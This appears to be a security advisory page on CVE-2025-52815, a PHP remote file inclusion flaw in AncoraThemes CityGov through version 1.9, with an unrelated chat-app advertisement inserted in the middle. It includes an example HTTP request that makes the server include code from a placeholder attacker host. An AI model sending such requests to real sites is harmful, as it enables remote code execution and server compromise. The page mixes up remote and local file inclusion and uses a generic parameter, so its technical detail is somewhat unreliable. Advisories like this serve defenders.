Overview
The Common Vulnerabilities and Exposures (CVE) system has recently released a vulnerability report CVE-2025-52815, which underscores a significant potential security issue in AncoraThemes CityGov. This vulnerability pertains to an ‘Improper Control of Filename for Include/Require Statement in PHP Program’ or more commonly known as ‘PHP Remote File Inclusion’. The vulnerability affects the versions of CityGov from n/a through 1.9. This vulnerability is critical because it can lead to a potential system compromise or data leakage, making it a significant concern for the cybersecurity community.
Vulnerability Summary
CVE ID: CVE-2025-52815
Severity: High (8.1 CVSS Severity Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
AncoraThemes CityGov | n/a through 1.9
How the Exploit Works
The PHP Remote File Inclusion vulnerability in AncoraThemes CityGov works by leveraging the improper control of filename for include/require statement in PHP Program. This allows an attacker to inject malicious PHP scripts or files to be included and executed by the server. The vulnerability allows for Local File Inclusion (LFI), which permits attackers to include local files from the server, potentially exposing sensitive information or executing malicious code.
Conceptual Example Code
Here is a conceptual example of how the vulnerability might be exploited. This could be a sample HTTP request, injected with a malicious payload.
GET /index.php?file=http://attacker.com/malicious.php HTTP/1.1
Host: target.example.comIn this example, the attacker tricks the server into including and executing the malicious.php file from their server.
Mitigation Guidance
Given the high severity of this vulnerability, it’s paramount to apply the vendor-released patch immediately. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation strategy. These systems can be configured to block or alert on attempts to exploit this vulnerability until the official patch can be applied. However, this is a stop-gap solution, and appropriate patches should be applied as soon as possible to fully mitigate the risk.